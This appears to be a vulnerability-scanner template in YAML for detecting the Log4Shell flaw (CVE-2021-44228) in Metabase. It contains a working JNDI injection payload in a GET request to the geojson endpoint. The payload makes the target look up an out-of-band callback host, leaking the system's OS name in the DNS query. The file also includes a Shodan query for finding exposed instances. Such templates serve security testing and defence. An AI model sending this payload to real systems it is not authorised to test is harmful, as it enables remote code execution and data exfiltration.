54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
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id: metabase-log4j
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info:
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name: Metabase - Remote Code Execution (Apache Log4j)
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author: DhiyaneshDK
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severity: critical
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description: Metabase is susceptible to remote code execution due to an incomplete patch in Apache Log4j 2.15.0 in certain non-default configurations. A remote attacker can pass malicious data and perform a denial of service attack, exfiltrate data, or execute arbitrary code.
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reference:
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- https://www.cybersecurity-help.cz/vdb/SB2021121706
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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shodan-query: title:"Metabase"
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verified: "true"
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tags: cve,cve2021,rce,jndi,log4j,metabase,kev,oast
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http:
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- method: GET
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path:
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- "{{BaseURL}}/api/geojson?url=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
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- type: word
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part: body
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words:
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- 'Invalid GeoJSON file location:'
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
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